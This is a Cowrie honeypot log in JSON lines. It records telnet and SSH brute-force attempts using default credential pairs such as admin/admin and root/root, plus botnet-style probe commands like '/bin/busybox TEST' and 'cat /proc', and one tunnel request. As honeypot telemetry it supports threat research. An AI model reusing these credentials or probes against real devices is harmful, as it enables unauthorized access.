{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":39846,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8afa54b39a5","protocol":"telnet","message":"New connection: 155.138.226.95:39846 (10.17.0.5:23) [session: f8afa54b39a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:01.900999Z"}
{"eventid":"cowrie.session.closed","duration":31.316787004470825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:02.331061Z","src_ip":"155.138.226.95","session":"7d7cb675de58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903928518295288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:04.293781Z","src_ip":"155.138.226.95","session":"37c92c1ade77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":39850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b07b68626286","protocol":"telnet","message":"New connection: 155.138.226.95:39850 (10.17.0.5:23) [session: b07b68626286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:05.322565Z"}
{"eventid":"cowrie.session.closed","duration":31.686947107315063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:05.987404Z","src_ip":"155.138.226.95","session":"8843779d4da9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12099504470825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:08.994101Z","src_ip":"64.41.88.162","session":"8d982d7ea88c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":39860,"dst_ip":"10.17.0.5","dst_port":23,"session":"b526305dbd9f","protocol":"telnet","message":"New connection: 155.138.226.95:39860 (10.17.0.5:23) [session: b526305dbd9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:09.242896Z"}
{"eventid":"cowrie.session.closed","duration":31.814077377319336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:10.911646Z","src_ip":"155.138.226.95","session":"65f16e1352be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.203.204.165","src_port":57520,"dst_ip":"159.203.135.109","dst_port":23,"session":"7520552fe154","protocol":"telnet","message":"New connection: 128.203.204.165:57520 (159.203.135.109:23) [session: 7520552fe154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:12.114669Z"}
{"eventid":"cowrie.session.closed","duration":32.83178734779358,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:12.433717Z","src_ip":"155.138.226.95","session":"7dd22c6f51d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.077855348587036,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:15.026423Z","src_ip":"64.41.88.162","session":"027e1336cb64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.635955572128296,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:15.208243Z","src_ip":"64.41.88.162","session":"fd3db2e51b78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12323212623596,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:15.457694Z","src_ip":"64.41.88.162","session":"2118bc67b85c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.11979842185974,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:15.628319Z","src_ip":"64.41.88.162","session":"1c725a6c2b31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2061128616333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:18.161643Z","src_ip":"155.138.226.95","session":"cb423519c1f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":52716,"dst_ip":"10.17.0.5","dst_port":22,"session":"c55470a79ecb","protocol":"ssh","message":"New connection: 88.205.172.170:52716 (10.17.0.5:22) [session: c55470a79ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:18.373342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:18.430596Z","src_ip":"88.205.172.170","session":"c55470a79ecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:18.588126Z","src_ip":"88.205.172.170","session":"c55470a79ecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres3","message":"login attempt [postgres/postgres3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:19.229284Z","src_ip":"88.205.172.170","session":"c55470a79ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:20.401949Z","src_ip":"88.205.172.170","session":"c55470a79ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.044380187988281,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:22.158916Z","src_ip":"128.203.204.165","session":"7520552fe154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.203.204.165","src_port":43782,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa78005e3c0","protocol":"telnet","message":"New connection: 128.203.204.165:43782 (159.203.135.109:23) [session: 6fa78005e3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:22.193621Z"}
{"eventid":"cowrie.session.closed","duration":0.04718613624572754,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:22.240723Z","src_ip":"128.203.204.165","session":"6fa78005e3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5822856426239,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:26.660943Z","src_ip":"155.138.226.95","session":"f6abc2a2437e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":54374,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f11bcd4b22","protocol":"telnet","message":"New connection: 155.138.226.95:54374 (10.17.0.5:23) [session: a6f11bcd4b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:27.800105Z"}
{"eventid":"cowrie.session.closed","duration":31.374614715576172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:29.879445Z","src_ip":"155.138.226.95","session":"0891383f4589","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70652961730957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:30.088907Z","src_ip":"155.138.226.95","session":"40dab596ff3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97298264503479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:31.393154Z","src_ip":"155.138.226.95","session":"277127da382a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043802499771118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:31.507364Z","src_ip":"155.138.226.95","session":"f249c5ecdeaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771578311920166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:32.106736Z","src_ip":"155.138.226.95","session":"e491f2aed869","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.406200885772705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:32.307045Z","src_ip":"155.138.226.95","session":"f8afa54b39a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":54376,"dst_ip":"10.17.0.5","dst_port":23,"session":"10163c761835","protocol":"telnet","message":"New connection: 155.138.226.95:54376 (10.17.0.5:23) [session: 10163c761835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:32.792505Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":39888,"dst_ip":"10.17.0.5","dst_port":23,"session":"09ffd364ab87","protocol":"telnet","message":"New connection: 155.138.226.95:39888 (10.17.0.5:23) [session: 09ffd364ab87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:34.846686Z"}
{"eventid":"cowrie.session.closed","duration":30.69909644126892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:36.021580Z","src_ip":"155.138.226.95","session":"b07b68626286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.726101398468018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:40.968882Z","src_ip":"155.138.226.95","session":"b526305dbd9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":56166,"dst_ip":"10.17.0.5","dst_port":23,"session":"036bf4aac3ab","protocol":"telnet","message":"New connection: 155.138.226.95:56166 (10.17.0.5:23) [session: 036bf4aac3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:49.764755Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":33780,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d7f0fc2a7a","protocol":"telnet","message":"New connection: 64.41.88.162:33780 (159.203.135.109:23) [session: 90d7f0fc2a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:51.999414Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":34692,"dst_ip":"159.203.135.109","dst_port":23,"session":"55eaf7ec1c4a","protocol":"telnet","message":"New connection: 64.41.88.162:34692 (159.203.135.109:23) [session: 55eaf7ec1c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:53.381081Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":35486,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd738c060cd6","protocol":"telnet","message":"New connection: 64.41.88.162:35486 (159.203.135.109:23) [session: cd738c060cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:54.412271Z"}
{"eventid":"cowrie.session.closed","duration":30.369876861572266,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:58.169843Z","src_ip":"155.138.226.95","session":"a6f11bcd4b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.458940267562866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:03.251350Z","src_ip":"155.138.226.95","session":"10163c761835","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491640090942383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:05.338197Z","src_ip":"155.138.226.95","session":"09ffd364ab87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":42026,"dst_ip":"10.17.0.5","dst_port":23,"session":"618dd9fee7bd","protocol":"telnet","message":"New connection: 45.153.34.108:42026 (10.17.0.5:23) [session: 618dd9fee7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:07.226505Z"}
{"eventid":"cowrie.session.closed","duration":0.005228757858276367,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:07.231580Z","src_ip":"45.153.34.108","session":"618dd9fee7bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":42028,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0a8b3d2202","protocol":"telnet","message":"New connection: 45.153.34.108:42028 (10.17.0.5:23) [session: 4f0a8b3d2202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:07.308504Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:07.811321Z","src_ip":"45.153.34.108","session":"4f0a8b3d2202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5025954246520996,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:08.811012Z","src_ip":"45.153.34.108","session":"4f0a8b3d2202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":42036,"dst_ip":"10.17.0.5","dst_port":23,"session":"acf96aebb181","protocol":"telnet","message":"New connection: 45.153.34.108:42036 (10.17.0.5:23) [session: acf96aebb181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:08.891272Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:09.392797Z","src_ip":"45.153.34.108","session":"acf96aebb181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.5016095638275146,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:10.392782Z","src_ip":"45.153.34.108","session":"acf96aebb181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.108","src_port":59412,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8ed601b79bc","protocol":"telnet","message":"New connection: 45.153.34.108:59412 (10.17.0.5:23) [session: d8ed601b79bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:10.473976Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:10.973235Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:11.019077Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"echo SHELL_TEST","message":"CMD: echo SHELL_TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:11.974356Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox TEST","message":"CMD: /bin/busybox TEST","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:12.473884Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc","message":"CMD: cat /proc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:13.082063Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"./","message":"CMD: ./","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:13.680942Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"./ ","message":"Command not found: ./ ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:13.685658Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","size":565,"shasum":"8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/8a6ec7b5e46a3a9e5ee837394a2bb870a78f5f16ea86f1f33271447f9eed1860 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:14.280832Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8193793296813965,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:14.293288Z","src_ip":"45.153.34.108","session":"d8ed601b79bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.42305040359497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:20.187699Z","src_ip":"155.138.226.95","session":"036bf4aac3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55910,"dst_ip":"10.17.0.5","dst_port":23,"session":"31be65a86ffd","protocol":"telnet","message":"New connection: 104.245.105.2:55910 (10.17.0.5:23) [session: 31be65a86ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:25.594409Z"}
{"eventid":"cowrie.session.closed","duration":35.72941255569458,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:29.110377Z","src_ip":"64.41.88.162","session":"55eaf7ec1c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.4071044921875,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:29.406431Z","src_ip":"64.41.88.162","session":"90d7f0fc2a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.579384565353394,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:30.991474Z","src_ip":"64.41.88.162","session":"cd738c060cd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.43.0.235","src_port":50670,"dst_ip":"159.203.135.109","dst_port":23,"session":"5935e74ec88b","protocol":"telnet","message":"New connection: 49.43.0.235:50670 (159.203.135.109:23) [session: 5935e74ec88b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:35.710439Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18460,"dst_ip":"10.17.0.5","dst_port":22,"session":"64835df877db","protocol":"ssh","message":"New connection: 87.251.64.176:18460 (10.17.0.5:22) [session: 64835df877db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.054057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.058964Z","src_ip":"87.251.64.176","session":"64835df877db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.155129Z","src_ip":"87.251.64.176","session":"64835df877db","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.449473Z","src_ip":"87.251.64.176","session":"64835df877db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51774,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80470474818","protocol":"telnet","message":"New connection: 104.245.105.2:51774 (10.17.0.5:23) [session: b80470474818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.487127Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:39:45.547348Z","session":"64835df877db","protocol":"ssh"}
